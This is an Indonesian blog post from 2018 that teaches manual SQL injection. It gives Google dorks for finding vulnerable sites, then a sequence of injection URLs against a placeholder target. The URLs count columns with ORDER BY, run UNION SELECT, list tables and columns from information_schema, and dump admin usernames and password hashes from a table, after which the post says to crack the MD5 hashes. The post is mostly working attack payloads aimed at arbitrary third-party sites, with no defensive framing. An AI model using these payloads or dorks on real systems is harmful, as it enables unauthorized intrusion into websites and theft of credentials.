Kamis, 18 Januari 2018

cara sql injection manual

Pengertian SQL Injection

SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :

id=$id;……. > Got Error
Pertama kita cari dulu website yang memiliki celah[vuln] SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.

Dork SQLi :


inurl:azerty.php?id= ,
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=

atau liat kumpulan dork racikan gue

-nah setelah itu yang harus kita lakukan adalah mengetahui apakah situs tersebut jomblo [vuln] di SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.

Contoh :
http://situstarget.com/food/more.php?cid=9’
http://situstarget.com/food/more.php?cid=’9

-anggaplah kita sudah nemuweb yg vuln cth;http://situstarget.com/food/more.php?cid=9

1.Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.

http://situstarget.com/food/more.php?cid=9+order+by+1-- < No Error
http://situstarget.com/food/more.php?cid=9+order+by+1,2-- < No Error
http://situstarget.com/food/more.php?cid=9+order+by+1,2,3-- < No Error
http://situstarget.com/food/more.php?cid=9+order+by+1,2,3,4-- < No Error
http://situstarget.com/food/more.php?cid=9+order+by+1,2,3,4,5-- < No Error
http://situstarget.com/food/more.php?id=1+order+by++1,2,3,4,5,6--< No Error
http://situstarget.com/food/more.php?id=1+order+by++1,2,3,4,5,6,7-- < Error

2.Pada angka 7 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 6

3.Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://situstarget.com/food/more.php?id=-1+union+select+1,2,3,4,5,6,--
4.Disini bisa kita lihat bahwa angka yang muncul yaitu 5 dan 6 kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
5.Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://situstarget.com/food/more.php?id=-1+union+select+1,2,3,4,@@version,6--

6.Nah kita bisa lihat versi databasenya, entah itu versi 5 atau versi 4. [v5 dengan v4 itu berbeda ya prosesnya lebih repot pada versi 4]karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.

7.Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://situstarget.com/food/more.php?id=-1+union+select+1,2,3,4,,group_concat(table_name),6+from+information_schema.tables+where+table_schema=database()--

8.Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:

http://situstarget.com/food/more.php?id=-1+union+select+1,2,3,4,group_concat(column_name),6+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--

9.Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah  +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.

http://situstarget.com/food//more.php?id=-1+union+select+1,2,3,4,group_concat(username,0x3a,pswd,0x3a,status),6+from+tbadmin--

10. selamat andah telah menemukan jodoh kalian:v[username n paswordnya telah muncul]

selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya